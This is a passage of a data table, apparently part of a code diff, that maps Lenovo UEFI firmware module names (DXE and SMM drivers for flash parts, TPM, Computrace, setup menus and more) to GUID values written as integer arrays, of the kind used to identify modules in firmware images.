[3358136790, 13309, 17389, 128, 12, 99, 90, 51, 105, 208, 243], + "LENOVO_SYSTEM_ACCELERATOR_KEY_DXE_GUID": [3365425629, 24224, 17102, 137, 52, 235, 142, 166, 8, 251, 169], + "LENOVO_SYSTEM_FLASH_UPDATE_DRIVER_DXE_GUID": [3366653774, 9982, 16625, 149, 121, 234, 141, 48, 213, 3, 164], + "LENOVO_SMAPI_SMM_GUID": [3380087232, 24464, 17510, 139, 56, 52, 29, 122, 103, 207, 84], + "LENOVO_SYSTEM_DISK_IO_DXE_GUID": [3391494694, 30488, 19355, 138, 7, 81, 120, 177, 174, 58, 2], + "LENOVO_SYSTEM_DATA_HUB_STD_ERR_DXE_GUID": [3394327302, 206, 16434, 135, 78, 17, 183, 85, 255, 104, 102], + "LENOVO_SYSTEM_KEY_DESC_DXE_GUID": [3397046003, 4481, 19168, 149, 167, 15, 31, 216, 175, 210, 237], + "LENOVO_HDP_MANAGER_DXE_GUID": [3398903232, 4837, 20396, 173, 88, 217, 170, 176, 59, 143, 17], + "LENOVO_PLATFORM_SMM_GUID": [3413361625, 12033, 17218, 174, 103, 4, 221, 229, 38, 64, 146], + "LENOVO_EN25_QH32_FLASH_PART_SMM_GUID": [3419028872, 51998, 18883, 180, 72, 95, 242, 135, 197, 141, 64], + "LENOVO_VIDEO_INIT_DXE_GUID": [3430002758, 52999, 19886, 174, 173, 112, 70, 132, 91, 205, 138], + "LENOVO_SYSTEM_FONT_DXE_GUID": [3431257893, 55838, 18087, 158, 117, 75, 172, 241, 253, 57, 2], + "LENOVO_SYSTEM_SETUP_ADVANCED_DXE_GUID": [3433812521, 20932, 19943, 174, 47, 58, 175, 113, 249, 236, 229], + "LENOVO_SYSTEM_GRAPHICS_CONSOLE_DXE_GUID": [3435858984, 19236, 4565, 154, 90, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_SM_BIOS_SMM_GUID": [3448945081, 11596, 18027, 132, 88, 149, 68, 125, 142, 74, 254], + "LENOVO_SYSTEM_BUS_ISA_RTC_SMM_GUID": [3451918622, 6289, 16665, 129, 126, 11, 106, 54, 133, 165, 17], + "LENOVO_SYSTEM_ACPI_SMI_SERVICES_DXE2_GUID": [3482740983, 45296, 19839, 180, 30, 174, 199, 148, 238, 199, 252], + "LENOVO_PLATFORM_HII_ADVANCED_DXE_GUID": [3488584900, 16743, 18026, 136, 147, 135, 121, 69, 157, 250, 134], + "LENOVO_VARIABLE_SMM_GUID": [3575212162, 43376, 17680, 143, 185, 215, 88, 59, 105, 6, 231], + "LENOVO_SYSTEM_FORM_BROWSER_SIMPLE_TEXT_VIEW_DXE_GUID": [3599230073, 56119, 19406, 134, 74, 2, 238, 246, 129, 157, 241], + "LENOVO_N25_Q032_FLASH_PART_SMM_GUID": [3599366343, 50004, 16917, 170, 72, 182, 173, 102, 199, 126, 175], + "LENOVO_MFG_BENCH_EVENT_DXE_GUID": [3627644895, 13507, 18977, 161, 4, 54, 155, 141, 79, 167, 183], + "LENOVO_UDP6_DXE_BIN_GUID": [3641886652, 61592, 17255, 146, 186, 233, 17, 8, 60, 123, 14], + "LENOVO_SYSTEM_STATUS_CODE_GENERIC_SMM_GUID": [3663567235, 828, 18467, 147, 73, 139, 27, 106, 121, 128, 48], + "LENOVO_MX25_L64_XFLASH_PART_SMM_GUID": [3679301914, 3676, 16565, 142, 70, 23, 208, 68, 134, 162, 27], + "LENOVO_MTFTP4_DXE_BIN_GUID": [3694543288, 12200, 20179, 188, 31, 249, 150, 42, 3, 69, 75], + "LENOVO_I_FFS_DXE_POLICY_INIT_GUID": [3719565990, 58355, 20126, 144, 163, 42, 153, 18, 112, 33, 156], + "LENOVO_WMA_USB_DXE_GUID": [3769480574, 57782, 17644, 191, 46, 132, 40, 116, 162, 108, 131], + "LENOVO_SYSTEM_SCSI_OPROM_PASS_THRU_DXE_GUID": [3786228562, 9744, 19926, 187, 143, 139, 178, 176, 51, 131, 163], + "LENOVO_PASSWORD_CP_GUID": [3841094362, 9087, 17740, 136, 104, 252, 240, 150, 207, 28, 108], + "LENOVO_SYSTEM_DIAGNOSTIC_SPLASH_SCREEN_DXE_GUID": [3855662044, 7100, 18871, 168, 182, 103, 170, 240, 161, 205, 158], + "LENOVO_IBEX_PEAK_FLASH_CONTROLLER_SMM_GUID": [3897225109, 31910, 19247, 163, 152, 177, 77, 28, 103, 160, 177], + "LENOVO_SMM_SLEEP_EVENT_GUID": [3906732218, 16671, 19794, 185, 37, 80, 120, 84, 54, 172, 129], + "LENOVO_AT24_RF08_EEPROM_DXE_GUID": [3914184057, 1563, 17275, 131, 194, 101, 192, 174, 124, 20, 226], + "LENOVO_KBD_CONFIG_GUID": [3920933158, 19987, 16885, 158, 76, 155, 248, 139, 60, 27, 12], + "LENOVO_SYSTEM_LEGACY_BIOS_DXE_GUID": [3928933378, 12245, 18271, 146, 44, 152, 234, 224, 55, 99, 18], + "LENOVO_VPRO_CIRA_HOT_KEY_GUID": [3936260833, 8943, 19295, 165, 238, 19, 23, 177, 231, 123, 16], + "LENOVO_OEM_HOOK_GUID": [3937366281, 60461, 18992, 191, 79, 98, 20, 8, 99, 14, 76], + "LENOVO_SYSTEM_SMBIOS_DXE_GUID": [3941964814, 48454, 16698, 154, 233, 221, 159, 109, 26, 146, 125], + "LENOVO_SECURE_KEY_SMM_GUID": [3949915124, 7875, 19817, 157, 130, 101, 191, 108, 87, 155, 52], + "LENOVO_ME_CON_OUT_READY_GUID": [3965343067, 25476, 19456, 134, 37, 44, 23, 104, 185, 91, 56], + "LENOVO_FINGERPRINT_CP_GUID": [3996187942, 5412, 19618, 181, 109, 52, 88, 48, 220, 156, 219], + "LENOVO_SYSTEM_SMM_USB_LEGACY_SMM_GUID": [4013146774, 63052, 16710, 173, 4, 52, 120, 153, 112, 44, 132], + "LENOVO_SYSTEM_WATCHDOG_TIMER_DXE_GUID": [4036613759, 29102, 19510, 178, 163, 220, 235, 14, 178, 183, 216], + "LENOVO_N25_Q032_FLASH_PART_DXE_GUID": [4055748295, 12753, 20239, 175, 98, 208, 42, 68, 7, 96, 38], + "LENOVO_SYSTEM_SECURITY_STUB_DXE_GUID": [4059018531, 15705, 18568, 187, 113, 234, 165, 169, 102, 40, 250], + "LENOVO_SVP_MANAGER_SMM_GUID": [4100820646, 19047, 18546, 176, 209, 212, 253, 234, 11, 105, 47], + "LENOVO_STARTUP_MENU_DXE_GUID": [4100908788, 18309, 17315, 146, 61, 127, 120, 108, 60, 132, 121], + "LENOVO_PLATFORM_S3_SAVE_SMM_GUID": [4121718871, 22096, 18030, 182, 146, 118, 164, 114, 35, 239, 176], + "LENOVO_SYSTEM_CMOS_DXE_GUID": [4131563991, 9911, 18379, 172, 200, 19, 89, 81, 172, 147, 248], + "LENOVO_FINGERPRINT_SMM_GUID": [4148614015, 63174, 17344, 148, 219, 70, 111, 95, 16, 224, 48], + "LENOVO_POWER_MANAGEMENT2_GUID": [4151515980, 22690, 19956, 137, 128, 86, 69, 211, 158, 206, 88], + "LENOVO_W25_Q32_FLASH_PART_SMM_GUID": [4174016692, 27269, 17942, 139, 222, 62, 197, 105, 100, 74, 195], + "LENOVO_SYSTEM_USB_DATABASE_DXE_GUID": [4182180003, 62623, 19666, 191, 37, 25, 226, 128, 183, 46, 59], + "LENOVO_TCG_SMM_GUID": [4182377611, 32708, 19132, 133, 166, 134, 22, 166, 211, 205, 206], + "LENOVO_SLP2_SMM_GUID": [4199507776, 47450, 17401, 144, 181, 120, 216, 20, 124, 2, 25], + "LENOVO_FIT_DIAGNOSTICS_GUID": [4222873731, 22407, 17839, 186, 220, 102, 72, 84, 16, 15, 32], + "LENOVO_SYSTEM_SECURE_FLASH_SLEEP_TRAP_SMM_GUID": [4242832462, 24268, 19009, 185, 14, 11, 171, 9, 150, 141, 2], + "LENOVO_TXT_DXE_GUID": [4287725090, 41512, 17549, 189, 170, 104, 239, 204, 221, 165, 211], + "LENOVO_SYSTEM_USB_SWITCH_DXE_GUID": [1293931, 8600, 17393, 147, 186, 42, 126, 215, 177, 225, 204], + "LENOVO_SYSTEM_SCSI_BUS_DXE_GUID": [23579844, 53495, 20257, 163, 239, 158, 100, 183, 205, 206, 139], + "LENOVO_SYSTEM_AHCI_BUS_DXE_GUID": [23579844, 53495, 20257, 163, 239, 158, 100, 183, 205, 206, 140], + "LENOVO_MNP_DXE_BIN_GUID": [39567303, 59049, 19339, 130, 173, 104, 21, 161, 174, 175, 74], + "LENOVO_ISSC_SMM_GUID": [62871161, 22345, 19397, 165, 63, 71, 71, 29, 167, 103, 200], + "LENOVO_EC_IO_SMM_GUID": [65788747, 38586, 20288, 131, 41, 127, 58, 168, 134, 87, 7], + "LENOVO_EN25_QH32_FLASH_PART_DXE_GUID": [85592951, 49254, 17936, 153, 4, 191, 37, 194, 150, 214, 230], + "LENOVO_MTM_FORMAT_SMM_GUID": [104351088, 5760, 17952, 157, 0, 106, 217, 227, 204, 177, 159], + "LENOVO_DXE_RICOH_INIT_GUID": [110529390, 63008, 20109, 166, 166, 82, 85, 35, 84, 221, 117], + "LENOVO_SECURITY_VARIABLE_DXE_GUID": [115245642, 42210, 17045, 163, 246, 3, 179, 254, 245, 177, 9], + "LENOVO_IBEX_PEAK_FLASH_CONTROLLER_DXE_GUID": [119797899, 33039, 20036, 146, 160, 165, 200, 59, 67, 54, 152], + "LENOVO_BOARD_INFO_SMM_GUID": [124839840, 39994, 18844, 163, 17, 47, 131, 133, 8, 5, 86], + "LENOVO_SYSTEM_METRONOME_DXE_GUID": [128529162, 62279, 4564, 154, 73, 0, 144, 39, 63, 193, 77], + "LENOVO_SLP2_DXE_GUID": [142514016, 8117, 18935, 135, 154, 133, 61, 43, 33, 76, 199], + "LENOVO_CRYPT_SERVICE_SMM_GUID": [150721327, 34431, 17707, 177, 52, 112, 81, 97, 247, 51, 51], + "LENOVO_SYSTEM_SCSI_DISK_DXE_GUID": [174514978, 14144, 19662, 173, 98, 189, 23, 44, 236, 202, 53], + "LENOVO_SYSTEM_USB_SWITCH_SMM_GUID": [191532512, 25217, 16546, 142, 154, 9, 241, 161, 138, 109, 64], + "LENOVO_EC_FW_UPDATE_DXE_GUID": [205090762, 27610, 18965, 182, 163, 166, 250, 69, 68, 189, 183], + "LENOVO_SETUP_UNDER_OS_DXE_GUID": [224691302, 14013, 17094, 178, 135, 124, 59, 170, 37, 117, 192], + "LENOVO_BDS_CTRL_GUID": [266426805, 1903, 19510, 191, 38, 215, 36, 242, 131, 18, 82], + "LENOVO_SYSTEM_FIRMWARE_DEVICE_DXE_GUID": [269784614, 21891, 17252, 130, 47, 164, 89, 184, 18, 19, 2], + "LENOVO_EC_IO_DXE_GUID": [290235916, 55653, 19475, 190, 247, 196, 6, 34, 72, 225, 250], + "LENOVO_SYSTEM_SMM_AHCI_ASPI_LEGACY_RT_GUID": [306851450, 6473, 18494, 137, 159, 96, 50, 144, 76, 160, 167], + "LENOVO_BOOT_MENU_DXE_GUID": [308966957, 22360, 20426, 133, 49, 32, 26, 127, 87, 248, 80], + "LENOVO_FP_PBA_GUID": [317155615, 7918, 20180, 135, 147, 105, 226, 128, 29, 96, 42], + "LENOVO_SYSTEM_EBC_DXE_GUID": [330067408, 29648, 4564, 176, 107, 0, 170, 0, 189, 109, 231], + "LENOVO_SYSTEM_SMM_SERVICES_SMM_GUID": [352631419, 22776, 19730, 150, 56, 180, 148, 167, 4, 67, 118], + "LENOVO_EC_SERVICE_GUID": [365429572, 63872, 19445, 170, 160, 191, 190, 2, 122, 239, 22], + "LENOVO_SECURE_FLASH_VERIFY_SMM_GUID": [366827126, 9849, 20004, 156, 170, 133, 178, 45, 216, 147, 235], + "LENOVO_EN25_QH128_FLASH_PART_SMM_GUID": [386766184, 51561, 20385, 165, 51, 219, 103, 121, 191, 190, 98], + "LENOVO_COMPUTRACE_SMI_SERVICES_GUID": [408391285, 53363, 16899, 144, 210, 135, 136, 168, 113, 228, 77], + "LENOVO_SMM_VIDEO_INT10_GUID": [431419749, 30805, 17128, 170, 111, 35, 97, 202, 135, 224, 36], + "LENOVO_TCP_DXE_BIN_GUID": [444482664, 12117, 19030, 144, 60, 1, 38, 94, 183, 98, 43], + "LENOVO_SYSTEM_BOOT_SCRIPT_SAVE_DXE_GUID": [476786607, 55485, 17617, 169, 30, 115, 33, 180, 194, 243, 209], + "LENOVO_EAIA_DXE_GUID": [488641077, 12096, 20412, 134, 80, 133, 2, 9, 45, 98, 171], + "LENOVO_SYSTEM_PS2_MOUSE_DXE_GUID": [539634446, 39473, 18450, 178, 145, 135, 71, 223, 21, 36, 57], + "LENOVO_SMART_CARD_DETECT_DXE_GUID": [582945669, 20147, 18331, 169, 233, 165, 247, 207, 204, 167, 135], + "LENOVO_PLATFORM_FLASH_DXE_GUID": [590885754, 18352, 19521, 156, 167, 1, 96, 251, 148, 223, 244], + "LENOVO_MX25_L3206_EFLASH_PART_SMM_GUID": [596469069, 42669, 16840, 163, 27, 103, 163, 32, 134, 37, 195], + "LENOVO_TPM_ENABLER_DXE_GUID": [601439914, 1827, 17753, 183, 104, 94, 34, 223, 118, 45, 228], + "LENOVO_SYSTEM_USB_SUPPORT_POLICY_SMM_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 76], + "LENOVO_SYSTEM_USB_BUS_DXE_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_USB_SUPPORT_POLICY_DXE_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 78], + "LENOVO_SMM_OEMINT15_GUID": [607947914, 48080, 19113, 190, 23, 207, 155, 88, 49, 48, 236], + "LENOVO_SYSTEM_STATUS_CODE_GENERIC_RT_GUID": [611294986, 4579, 17818, 174, 6, 55, 43, 220, 77, 232, 6], + "LENOVO_CRYPT_SERVICE_GUID": [626323294, 51658, 19016, 157, 148, 36, 158, 177, 232, 124, 45], + "LENOVO_TCG_SERVICES_DXE_GUID": [636784743, 42587, 18677, 187, 190, 53, 65, 140, 72, 136, 54], + "LENOVO_FDISK_OEM_GUID": [652065439, 23309, 20096, 134, 178, 128, 218, 228, 208, 27, 14], + "LENOVO_PCH_SPI_SMM_GUID": [670339451, 42759, 19117, 150, 118, 38, 223, 22, 140, 191, 13], + "LENOVO_IVB_GOP_DRIVER_GUID": [682992732, 52317, 16929, 157, 255, 134, 176, 244, 45, 220, 1], + "LENOVO_SYSTEM_STATUS_CODE_PORT80_RT_GUID": [698459927, 14057, 18912, 179, 129, 234, 59, 95, 247, 9, 66], + "LENOVO_W25_Q64_FLASH_PART_DXE_GUID": [708977825, 9737, 16551, 136, 226, 166, 141, 192, 241, 209, 128], + "LENOVO_SYSTEM_USB_MEMORY_MANAGER_SMM_GUID": [717954629, 57252, 20467, 143, 129, 145, 247, 215, 135, 210, 45], + "LENOVO_SYSTEM_ACPI_S3_SAVE_DXE_GUID": [736024197, 63283, 17759, 168, 64, 67, 162, 43, 121, 31, 179], + "LENOVO_SA_LATE_INIT_SMM_GUID": [756954652, 31551, 19733, 139, 31, 102, 229, 81, 250, 189, 199], + "LENOVO_SYSTEM_USB_MOUSE_DXE_GUID": [758014634, 40655, 17335, 130, 25, 148, 231, 252, 113, 61, 254], + "LENOVO_SYSTEM_USB_KB_DXE_GUID": [758014671, 40655, 17335, 130, 25, 148, 231, 252, 113, 61, 254], + "LENOVO_PLATFORM_DXE_GUID": [762263487, 39676, 19109, 160, 38, 50, 178, 252, 243, 15, 185], + "LENOVO_PCH_BIOS_WRITE_PROTECT_GUID": [786963147, 25778, 16814, 134, 53, 112, 48, 209, 108, 74, 168], + "LENOVO_TP_ACPI_NVS_INIT_DXE_GUID": [807013315, 47638, 18937, 133, 139, 222, 224, 95, 145, 231, 184], + "LENOVO_SNB_GOP_DRIVER_GUID": [823145156, 39078, 19974, 140, 3, 216, 21, 253, 31, 231, 9], + "LENOVO_SYSTEM_USB_DATABASE_SMM_GUID": [828477649, 24136, 19477, 172, 114, 55, 83, 47, 58, 30, 193], + "LENOVO_SYSTEM_FORM_BROWSER_CORE_DXE_GUID": [843328777, 7441, 20007, 138, 171, 144, 254, 106, 203, 4, 137], + "LENOVO_BIOS_EXTENSION_LOADER_GUID": [851560952, 54591, 16840, 148, 208, 246, 115, 159, 35, 16, 17], + "LENOVO_SYSTEM_HII_DATABASE_DXE_GUID": [881610082, 49085, 18562, 158, 206, 200, 11, 177, 196, 120, 59], + "LENOVO_ATP_DXE_GUID": [886382265, 30427, 19631, 148, 174, 147, 72, 86, 232, 149, 246], + "LENOVO_DXE_MAIN_GUID": [901290186, 46761, 18894, 140, 114, 144, 71, 53, 204, 73, 183], + "LENOVO_SYSTEM_SPLASH_DXE_GUID": [923302804, 61249, 18807, 147, 226, 63, 106, 223, 221, 6, 225], + "LENOVO_SYSTEM_IMAGE_DISPLAY_DXE_GUID": [924820664, 32834, 20182, 173, 167, 169, 135, 189, 44, 223, 10], + "LENOVO_SYSTEM_RTC_RT_GUID": [932019045, 36265, 18291, 182, 228, 164, 120, 38, 168, 51, 225], + "LENOVO_SYSTEM_IDE_ATA_ATAPI_PASS_THRU_DXE_GUID": [933285920, 52433, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SETUP_MAIN_DXE_GUID": [934268757, 11916, 18210, 185, 80, 180, 139, 145, 101, 197, 107], + "LENOVO_ME_PCI_UPDATE_GUID": [937281513, 31773, 19995, 178, 203, 78, 213, 209, 37, 39, 179], + "LENOVO_PHX_GOP_DXE_GUID": [938270500, 33875, 18282, 171, 88, 244, 207, 139, 254, 103, 66], + "LENOVO_MX25_L64_XFLASH_PART_DXE_GUID": [949109979, 15726, 20048, 131, 93, 90, 119, 90, 50, 93, 137], + "LENOVO_AOAC_SMM_GUID": [975891559, 30648, 16558, 146, 129, 3, 81, 156, 158, 127, 8], + "LENOVO_SYSTEM_HII_IMAGE_DISPLAY_DXE_GUID": [1007992985, 12611, 18159, 175, 24, 222, 74, 210, 195, 167, 153], + "LENOVO_SYSTEM_PS2_KEYBOARD_DXE_GUID": [1036526454, 25467, 16550, 168, 252, 165, 101, 65, 127, 44, 56], + "LENOVO_REBOOT_CP_GUID": [1039934815, 40070, 18620, 151, 45, 229, 34, 83, 55, 104, 219], + "LENOVO_SYSTEM_CRYPT_SVC_RT_GUID": [1044688137, 55435, 19538, 180, 27, 184, 192, 5, 54, 71, 74], + "LENOVO_PLATFORM_PCI_DXE_GUID": [1064784879, 54127, 17868, 138, 26, 46, 170, 255, 16, 56, 182], + "LENOVO_FIT_DIAGNOSTICS_LOADER_GUID": [1065247067, 3397, 20352, 136, 220, 38, 178, 52, 149, 133, 96], + "LENOVO_IBEX_PEAK_GLOBAL_SMI_CONTROL_GUID": [1069045413, 51376, 18272, 180, 154, 46, 221, 79, 163, 91, 250], + "LENOVO_VPRO_IDER_ASF_BOOT_GUID": [1075081700, 40569, 18020, 191, 176, 23, 149, 36, 35, 5, 103], + "LENOVO_SYSTEM_CON_SPLITTER_DXE_GUID": [1083104492, 53101, 18300, 165, 168, 180, 132, 78, 61, 226, 129], + "LENOVO_I_FFS_SMM_GUID": [1125591121, 53118, 17221, 159, 224, 215, 1, 43, 177, 123, 136], + "LENOVO_SYSTEM_PARTITION_DXE_GUID": [1136210482, 44990, 4564, 189, 15, 0, 128, 199, 60, 136, 129], + "LENOVO_MAIL_BOX_DXE_GUID": [1136369323, 32087, 19951, 176, 162, 163, 169, 249, 198, 234, 227], + "LENOVO_VARIABLE_INIT_SMM_GUID": [1154448672, 57334, 16905, 154, 31, 246, 205, 95, 92, 232, 139], + "LENOVO_SYSTEM_AHCI_ATA_ATAPI_PASS_THRU_DXE_GUID": [1156724112, 56456, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_COMPUTRACE_LOADER_DXE_GUID": [1166658547, 1017, 18840, 157, 111, 38, 52, 60, 105, 86, 42], + "LENOVO_SYSTEM_CMOS_SMM_GUID": [1188605149, 10691, 16403, 129, 232, 55, 164, 37, 171, 79, 153], + "LENOVO_MISC_GA_IO_DXE_GUID": [1246898131, 3055, 19626, 172, 189, 236, 132, 68, 108, 92, 108], + "LENOVO_AT24_RF08_EEPROM_SMM_GUID": [1265312161, 62059, 16463, 134, 148, 219, 28, 99, 161, 217, 42], + "LENOVO_SECURITY_SMI_DISPATCH_GUID": [1283265896, 53107, 18038, 160, 121, 22, 247, 249, 96, 12, 204], + "LENOVO_SYSTEM_PPIS_NEEDED_BY_DXE_CORE_GUID": [1295505986, 14860, 20186, 185, 235, 188, 14, 29, 180, 113, 59], + "LENOVO_SYSTEM_ERROR_LOG_SMM_GUID": [1298314729, 29128, 16682, 134, 4, 135, 140, 146, 29, 154, 209], + "LENOVO_VPRO_HII_DXE_GUID": [1322172828, 28255, 18453, 131, 66, 181, 95, 44, 197, 223, 193], + "LENOVO_COMPUTRACE_ENABLER_DXE_GUID": [1325158874, 9126, 18320, 162, 146, 73, 133, 199, 245, 205, 239], + "LENOVO_EN25_QH64_FLASH_PART_SMM_GUID": [1344002362, 61865, 20300, 169, 70, 120, 103, 223, 151, 85, 55], + "LENOVO_PCH_EMULATE_KBC_GUID": [1359302880, 48078, 20159, 187, 160, 148, 110, 61, 24, 231, 5], + "LENOVO_SYSTEM_SMBIOS_EVENT_LOG_DXE_GUID": [1360175786, 57717, 18302, 164, 228, 208, 183, 230, 137, 186, 159], + "LENOVO_HPM_SMM_GUID": [1364927051, 45145, 17931, 133, 199, 194, 134, 88, 244, 184, 152], + "LENOVO_SYSTEM_CRC32_SECTION_EXTRACT_DXE_GUID": [1372189708, 21059, 17523, 178, 101, 179, 200, 255, 175, 249, 250], + "LENOVO_SYSTEM_CON_PLATFORM_DXE_GUID": [1372386201, 20447, 20053, 164, 91, 225, 35, 248, 77, 69, 106], + "LENOVO_PLATFORM_S3_SAVE_DXE_GUID": [1372895948, 59146, 16694, 148, 38, 84, 105, 115, 237, 147, 140], + "LENOVO_TDT_AM_GUID": [1376754776, 40861, 18630, 160, 160, 217, 254, 109, 143, 222, 119], + "LENOVO_ARP_DXE_BIN_GUID": [1386037139, 59625, 20083, 177, 225, 189, 246, 169, 213, 1, 19], + "LENOVO_HPM_DXE_GUID": [1402833581, 50860, 17004, 182, 31, 34, 142, 109, 21, 1, 182], + "LENOVO_SYSTEM_DATA_HUB_DXE_GUID": [1404879183, 49743, 17228, 178, 148, 142, 210, 212, 204, 24, 96], + "LENOVO_SYSTEM_FLASH_COMMUNICATION_DXE_GUID": [1416286869, 3172, 19686, 160, 111, 251, 156, 208, 75, 65, 205], + "LENOVO_SYSTEM_FIRMWARE_DEVICE_SMM_GUID": [1422077119, 41913, 19662, 156, 67, 224, 89, 227, 34, 85, 223], + "LENOVO_DRIVE_ERASE_DXE_GUID": [1426260946, 61491, 17512, 133, 122, 68, 44, 16, 225, 153, 233], + "LENOVO_SMM_BASE_RUNTIME_GUID": [1431459674, 32256, 19809, 163, 164, 247, 84, 115, 81, 180, 158], + "LENOVO_DRIVE_ERASE_SMM_GUID": [1442418698, 49072, 19248, 131, 238, 127, 67, 127, 175, 174, 51], + "LENOVO_PRIOR_BOOT_GUID": [1475642899, 12298, 16641, 167, 109, 79, 115, 197, 51, 181, 184], + "LENOVO_DISK_CONTROLLER_SMBIOS_GUID": [1514093521, 47014, 16459, 160, 247, 40, 94, 27, 137, 139, 0], + "LENOVO_DXE_REALTEK_CRC_INIT_GUID": [1534379841, 19039, 19086, 182, 137, 216, 4, 171, 67, 104, 253], + "LENOVO_PLATFORM_CSM_DXE_GUID": [1541268997, 45319, 16798, 149, 16, 170, 60, 67, 78, 187, 228], + "LENOVO_SECURE_ERROR_MANAGER_DXE_GUID": [1541333558, 3253, 19846, 166, 8, 238, 123, 12, 95, 41, 86], + "LENOVO_IP6_DXE_BIN_GUID": [1542305228, 55344, 20146, 135, 66, 45, 76, 201, 181, 79, 44], + "LENOVO_SETUP_RESTART_DXE_GUID": [1567984635, 45859, 20332, 144, 23, 163, 35, 140, 230, 81, 99], + "LENOVO_SYSTEM_IMAGE_DECODER_DXE_GUID": [1600508442, 34919, 17875, 164, 26, 82, 111, 159, 226, 197, 152], + "LENOVO_SETUP_CONFIG_DXE_GUID": [1607003872, 39922, 18831, 180, 211, 197, 30, 212, 200, 123, 180], + "LENOVO_SMBIOS_COMPATI_INFO_GUID": [1616789944, 59683, 18380, 135, 177, 166, 227, 133, 38, 231, 141], + "LENOVO_SYSTEM_KBC_INIT_DXE_GUID": [1628708000, 5188, 19534, 161, 109, 182, 1, 224, 160, 148, 102], + "LENOVO_REMOTE_CONFIG_UPDATE_DXE_GUID": [1646126790, 3934, 20195, 161, 2, 11, 222, 118, 154, 10, 212], + "LENOVO_CPU_INIT_DXE_GUID": [1657893323, 30925, 17536, 134, 120, 198, 162, 167, 151, 168, 222], + "LENOVO_CPU_INIT_PHNX_DXE_GUID": [1665371246, 38684, 20032, 143, 11, 17, 9, 69, 123, 227, 51], + "LENOVO_SYSTEM_VARIABLE_SMM_GUID": [1696885307, 13295, 20350, 182, 87, 164, 166, 51, 241, 48, 176], + "LENOVO_SETUP_UNDER_OS_SMM_GUID": [1705451568, 45102, 19443, 132, 36, 186, 95, 47, 197, 109, 231], + "LENOVO_RN_RCONFIG_GUID": [1717387104, 44350, 19629, 142, 38, 219, 70, 238, 233, 241, 181], + "LENOVO_VARIABLE_DXE_GUID": [1726926656, 25362, 18970, 168, 58, 179, 178, 248, 216, 167, 26], + "LENOVO_MISC_GA_IO_SMM_GUID": [1739578975, 61206, 18360, 186, 25, 194, 27, 57, 7, 219, 241], + "LENOVO_W25_Q32_FLASH_PART_DXE_GUID": [1757163669, 34873, 19095, 143, 234, 190, 224, 110, 202, 123, 187], + "LENOVO_SYSTEM_IDE_BUS_DXE_GUID": [1778224711, 41313, 17744, 176, 26, 85, 148, 206, 178, 178, 178], + "LENOVO_OEM_MILESTONE_GUID": [1784844030, 13954, 20444, 163, 30, 198, 53, 189, 241, 140, 200], + "LENOVO_SETUP_SECURITY_DXE_GUID": [1786453126, 22798, 18343, 151, 26, 196, 155, 64, 141, 94, 215], + "LENOVO_SECURE_KEY_DXE_GUID": [1787443551, 19463, 18897, 185, 76, 34, 237, 80, 212, 37, 248], + "LENOVO_UDP4_DXE_BIN_GUID": [1835623339, 36973, 19045, 167, 202, 189, 64, 229, 214, 175, 43], + "LENOVO_N25_Q064_FLASH_PART_SMM_GUID": [1848830710, 13009, 17376, 182, 225, 220, 246, 218, 129, 223, 118], + "LENOVO_SMBIOS_VPRO_GUID": [1850878195, 37694, 18785, 149, 115, 15, 30, 97, 181, 34, 172], + "LENOVO_W25_Q64_FLASH_PART_SMM_GUID": [1852721781, 61204, 18427, 180, 58, 103, 236, 67, 184, 125, 34], + "LENOVO_SYSTEM_ISA_KBC_DXE_GUID": [1852769708, 9035, 18011, 148, 80, 195, 110, 109, 117, 102, 197], + "LENOVO_PLATFORM_FLASH_SMM_GUID": [1886133772, 17660, 16402, 155, 113, 61, 191, 236, 118, 47, 53], + "LENOVO_PI_SAVE_STATE_ACCESS_GUID": [1887124590, 39334, 19991, 132, 160, 64, 40, 76, 27, 63, 56], + "LENOVO_SYSTEM_ACPI_SUPPORT_DXE_GUID": [1903824554, 39704, 17946, 182, 236, 172, 9, 121, 76, 166, 49], + "LENOVO_SYSTEM_SETUP2_DXE_GUID": [1914473318, 17004, 20102, 142, 153, 52, 87, 196, 106, 176, 185], + "LENOVO_SYSTEM_IDE_ATA_ATAPI_PASS_THRU_SMM_GUID": [1938925920, 52433, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_BOOT_MANAGER_DXE_GUID": [1943712527, 16284, 16736, 176, 100, 67, 156, 225, 108, 62, 222], + "LENOVO_BLOCK_POWER_BUTTON_DXE_GUID": [1956648660, 20043, 17845, 174, 151, 78, 110, 51, 214, 81, 37], + "LENOVO_SYSTEM_ACPI_NUMA_DXE_GUID": [1972041895, 10756, 18743, 153, 224, 131, 125, 31, 151, 199, 111], + "LENOVO_SYSTEM_ACPI_TABLE_LOADER_DXE_GUID": [2002878155, 57897, 20000, 184, 249, 223, 130, 69, 98, 77, 122], + "LENOVO_DIGITAL_THERMAL_SENSOR_SMM_GUID": [2007367838, 4462, 17997, 142, 248, 179, 82, 1, 160, 34, 221], + "LENOVO_SYSTEM_FIXED_BUS_NUMBERS_DXE_GUID": [2030029397, 18537, 17299, 190, 233, 114, 229, 139, 211, 190, 56], + "LENOVO_SYSTEM_VARIABLE_DXE_GUID": [2034024096, 55894, 18418, 130, 100, 36, 49, 12, 183, 81, 150], + "LENOVO_SYSTEM_SW_SMI_ALLOCATOR_RT_GUID": [2034634970, 53486, 18027, 129, 179, 129, 151, 33, 58, 105, 120], + "LENOVO_SYSTEM8259_INTERRUPT_CONTROLLER_DXE_GUID": [2043298312, 48033, 19098, 132, 86, 225, 230, 106, 129, 72, 78], + "LENOVO_WMA_POLICY_DXE_GUID": [2044784087, 40221, 20289, 174, 26, 248, 150, 22, 158, 82, 22], + "LENOVO_LAN_UEFI_GUID": [2046361940, 33780, 18316, 128, 191, 135, 138, 195, 46, 10, 44], + "LENOVO_POP_MANAGER_DXE_GUID": [2070879654, 59983, 18744, 167, 159, 12, 88, 225, 68, 42, 161], + "LENOVO_SYSTEM_USB_MEMORY_MANAGER_DXE_GUID": [2078746034, 62828, 16839, 159, 3, 30, 123, 86, 182, 89, 113], + "LENOVO_ATP_SMI_SERVICES_GUID": [2091593354, 47001, 17728, 133, 23, 88, 100, 77, 3, 204, 159], + "LENOVO_MODULES_SMM_THUNK_SMM_GUID": [2121356880, 4326, 19323, 137, 106, 77, 197, 252, 116, 43, 